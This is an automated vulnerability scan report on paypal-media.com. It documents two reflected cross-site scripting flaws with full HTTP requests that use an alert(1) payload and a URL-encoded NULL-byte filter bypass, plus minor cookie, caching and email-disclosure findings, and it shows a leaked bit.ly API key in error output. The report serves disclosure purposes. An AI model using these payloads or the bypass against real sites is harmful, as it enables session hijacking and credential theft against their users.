XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, paypal-media.com

Report generated by XSS.CX at Fri Oct 14 13:33:47 CDT 2011.


1. Cross-site scripting (reflected)

1.1. https://www.paypal-media.com/view/page.display/bitly [url parameter]

1.2. https://www.paypal-media.com/view/page.display/count [url parameter]

2. SSL cookie without secure flag set

2.1. https://www.paypal-media.com/contactus.cfm

2.2. https://www.paypal-media.com/view/page.display/bitly

3. Email addresses disclosed

3.1. https://www.paypal-media.com/assets/js/jqModal.js

3.2. https://www.paypal-media.com/contactus.cfm

4. Cacheable HTTPS response

4.1. https://www.paypal-media.com/

4.2. https://www.paypal-media.com/assets/images/site/layout/favicon.ico

4.3. https://www.paypal-media.com/view/page.display/bitly

4.4. https://www.paypal-media.com/view/page.display/count

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.paypal-media.com/view/page.display/bitly [url parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /view/page.display/bitly

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload %0038cca<script>alert(1)</script>cc1d043dbd8 was submitted in the url parameter. This input was echoed as 38cca<script>alert(1)</script>cc1d043dbd8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /view/page.display/bitly?url=https://www.thepaypalblog.com/2011/10/innovate-paypal-expects-4-7b-in-digital-goods-tpv-this-year-and-launches-html5-apis/%0038cca<script>alert(1)</script>cc1d043dbd8 HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://www.paypal-media.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 14 Oct 2011 18:30:18 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: JSESSIONID=13224A723C459A6962B54754D7E9CC39; Path=/; HttpOnly
X-Cnection: close
Content-Length: 7586


<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>An Error Occurred</title>
<link rel="shortcut icon" href="/smilemaker/ima
...[SNIP]...
/shorten?&login=palpaymedia&apiKey=R_8e6629f08d11dfc0c13bd7208f00ecff&longUrl=https://www.thepaypalblog.com/2011/10/innovate-paypal-expects-4-7b-in-digital-goods-tpv-this-year-and-launches-html5-apis/.38cca<script>alert(1)</script>cc1d043dbd8&format=json
   at org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:527)
   at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:401)
   at org.a
...[SNIP]...

1.2. https://www.paypal-media.com/view/page.display/count [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /view/page.display/count

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload %00ce2aa<script>alert(1)</script>6dd255d1dd5 was submitted in the url parameter. This input was echoed as ce2aa<script>alert(1)</script>6dd255d1dd5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /view/page.display/count?url=https://www.thepaypalblog.com/2011/10/great-news-for-our-merchants-in-india/%00ce2aa<script>alert(1)</script>6dd255d1dd5 HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://www.paypal-media.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 14 Oct 2011 18:30:20 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
X-Cnection: close
Content-Length: 7989


<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>An Error Occurred</title>
<link rel="shortcut icon" href="/smilemaker/ima
...[SNIP]...
tion: javax.servlet.jsp.JspException: Problem accessing the absolute URL "http://urls.api.twitter.com/1/urls/count.json?url=https://www.thepaypalblog.com/2011/10/great-news-for-our-merchants-in-india/.ce2aa<script>alert(1)</script>6dd255d1dd5&callback=?". java.io.IOException: Server returned HTTP response code: 400 for URL: http://urls.api.twitter.com/1/urls/count.json?url=https://www.thepaypalblog.com/2011/10/great-news-for-our-merchants-
...[SNIP]...

2. SSL cookie without secure flag set  previous  next
There are 2 instances of this issue:

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.


2.1. https://www.paypal-media.com/contactus.cfm  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://www.paypal-media.com
Path:   /contactus.cfm

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contactus.cfm HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://billmelatersolutions.com/contact-us
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:43 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: JSESSIONID=60B1545A6119E3A94E038FBE13EC4D4F; Path=/; HttpOnly
X-Cnection: close
Content-Length: 20480


                       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
       <html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...

2.2. https://www.paypal-media.com/view/page.display/bitly  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://www.paypal-media.com
Path:   /view/page.display/bitly

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /view/page.display/bitly?url=https://www.thepaypalblog.com/2011/10/innovate-paypal-expects-4-7b-in-digital-goods-tpv-this-year-and-launches-html5-apis/ HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://www.paypal-media.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:58 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Content-Length: 301
Set-Cookie: JSESSIONID=40DE7CB1F23580787696887402DB37AA; Path=/; HttpOnly
X-Cnection: close


{ "status_code": 200, "status_txt": "OK", "data": { "long_url": "https:\/\/www.thepaypalblog.com\/2011\/10\/innovate-paypal-expects-4-7b-in-digital-goods-tpv-this-year-and-launches-html5-api
...[SNIP]...

3. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


3.1. https://www.paypal-media.com/assets/js/jqModal.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /assets/js/jqModal.js

Issue detail

The following email address was disclosed in the response:

Request

GET /assets/js/jqModal.js HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: https://www.paypal-media.com/contactus.cfm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:43 GMT
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"3355-1286075733000"
Last-Modified: Sun, 03 Oct 2010 03:15:33 GMT
Content-Type: application/x-javascript;charset=UTF-8
Content-Length: 3355
X-Cnection: close

/*
* jqModal - Minimalist Modaling with jQuery
* (http://dev.iceburg.net/jquery/jqModal/)
*
* Copyright (c) 2007,2008 Brice Burgess <bhb@iceburg.net>
* Dual licensed under the MIT and GPL licen
...[SNIP]...

3.2. https://www.paypal-media.com/contactus.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /contactus.cfm

Issue detail

The following email addresses were disclosed in the response:

Request

GET /contactus.cfm HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://billmelatersolutions.com/contact-us
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:43 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: JSESSIONID=60B1545A6119E3A94E038FBE13EC4D4F; Path=/; HttpOnly
X-Cnection: close
Content-Length: 20480


                       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
       <html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<a href="mailto:PayPalPress@ebay.com?subject=PayPal%20Media%20Request">
...[SNIP]...
<input type="hidden" name="fields[toAddress]" value="PayPalPress@ebay.com" />
...[SNIP]...
<a href="mailto:teampaypalhotline@accesspr.com?subject=Media%20Inquiry">
...[SNIP]...
<a href="mailto:paypalteam@text100.com?subject=PayPal%20media%20Inquiry">
...[SNIP]...
<a href="mailto:paypal@edelman.com?subject=PayPal%20Media%20Inquiry">
...[SNIP]...
<a href="mailto:canadianmedia@paypal.com?subject=Media%20Inquiry">
...[SNIP]...
<a href="mailto: ParisPayPal@text100.com?subject=Media%20Inquiry">
...[SNIP]...
<a href="mailto:paypal-presse@paypal.com?subject=Media%20Inquiry">
...[SNIP]...
<a href="mailto:paypal@text100.it?subject=Media%20Inquiry">
...[SNIP]...
<a href="mailto:paypal@lansons.com?subject=Media%20Inquiry">
...[SNIP]...

4. Cacheable HTTPS response  previous  next
There are 4 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


4.1. https://www.paypal-media.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /

Request

GET / HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:56 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
X-Cnection: close
Content-Length: 23589


                       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
       <html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...

4.2. https://www.paypal-media.com/assets/images/site/layout/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /assets/images/site/layout/favicon.ico

Request

GET /assets/images/site/layout/favicon.ico HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:54 GMT
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"5430-1308162671000"
Last-Modified: Wed, 15 Jun 2011 18:31:11 GMT
Content-Length: 5430
X-Cnection: close
Content-Type: text/plain; charset=UTF-8

...... .... .....&......... .h.......(... ...@..... ......................................U.7.b...b-..b-..c/..e2..e2..e2t..............................................................................
...[SNIP]...

4.3. https://www.paypal-media.com/view/page.display/bitly  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /view/page.display/bitly

Request

GET /view/page.display/bitly?url=https://www.thepaypalblog.com/2011/10/great-news-for-our-merchants-in-india/ HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://www.paypal-media.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:58 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Content-Length: 255
X-Cnection: close


{ "status_code": 200, "status_txt": "OK", "data": { "long_url": "https:\/\/www.thepaypalblog.com\/2011\/10\/great-news-for-our-merchants-in-india\/", "url": "http:\/\/bit.ly\/oi6aFg", "hash"
...[SNIP]...

4.4. https://www.paypal-media.com/view/page.display/count  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-media.com
Path:   /view/page.display/count

Request

GET /view/page.display/count?url=https://www.thepaypalblog.com/2011/10/innovate-paypal-expects-4-7b-in-digital-goods-tpv-this-year-and-launches-html5-apis/ HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://www.paypal-media.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:58 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Content-Length: 158
X-Cnection: close


{"count":31,"url":"https://www.thepaypalblog.com/2011/10/innovate-paypal-expects-4-7b-in-digital-goods-tpv-this-year-and-launches-html5-apis/"}



5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://www.paypal-media.com
Path:   /assets/images/site/layout/favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /assets/images/site/layout/favicon.ico HTTP/1.1
Host: www.paypal-media.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=600D94A44BFA9502FD1DFEDC24EDFA24

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:29:54 GMT
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"5430-1308162671000"
Last-Modified: Wed, 15 Jun 2011 18:31:11 GMT
Content-Length: 5430
X-Cnection: close
Content-Type: text/plain; charset=UTF-8

...... .... .....&......... .h.......(... ...@..... ......................................U.7.b...b-..b-..c/..e2..e2..e2t..............................................................................
...[SNIP]...

Report generated by XSS.CX at Fri Oct 14 13:33:47 CDT 2011.